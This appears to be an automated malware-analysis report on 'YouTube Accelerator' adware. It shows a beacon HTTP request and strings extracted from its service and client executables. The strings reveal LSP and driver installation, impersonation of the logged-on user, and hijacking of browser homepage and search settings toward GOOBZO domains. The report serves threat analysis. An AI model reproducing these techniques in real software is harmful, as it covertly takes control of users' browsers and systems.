GET /app/ping.ashx?e=R278SAfkg0UdEfBWbuhmg8i7y9Wq3PKH3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpiF9IrLvliBDg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6P2TrTA1FIWLRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vQgotM9HbIIwHDw 8KufmNaiBRb33Cbh3MEJ9DH/1MrsXTzfnhLtiuM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNlvtdc20PV5GDlNcv2CDURy8Qx5lql27Kov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLysUNmRCuZ3Nn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:36:02 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 18 Apr 2015 07:36:02 GMT..Content-Length: 0..

The Application connects to the servers at the folowing location(s):

YouTubeAcceleratorService.exe_3128:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Tu8%XuJ@Uu

AUu.AUu

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

LZÁ

Q,-I}g_

4.gtE

-;M.EZk

1:](P%X

g.RUg

fH.XFH

.cP;_

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.5

YouTubeAccelerator.exe_3840:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

@Uu.AUuv

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.5

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

,'*%f

!.OUV

.FLy3

jS.TP]

ULsD1A%C

.Wk4ka&F

=.BJu

.Ao$u

w%fVb

Ü/OK1I

vAR%5s_

.OM4t

~UsQl^

h2%XL

|RZ%X#

Al-f}

Zdr.Uzr

'5,# {:#

L.gSeC

.Xw_I

|v%s9

j,M

CPX.ta

S.OSC

<.fRv

kksQl

}C.Xz

'(}:"%;'

8,.Dl

y%swo

XX.VK

..Jz`

,'.mM

@M.kuMhW

CQ.ug

{\.Gpf

.LHP9Q

U|i

.epAjX(

&i.zi

%DHTz

j8.CW

I7Û

.BR }:

-.Ozl

6'.VA

"x.UU;

.MtNM

9;}%X

%SAw'[

.xVCVe7x

%s7$T

.aP4\Wa

 %DmQ.

ce.Sz0{6

7_:%d

bjz6Œ8[

t1.AU

zTaB.nf

)g.ow

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

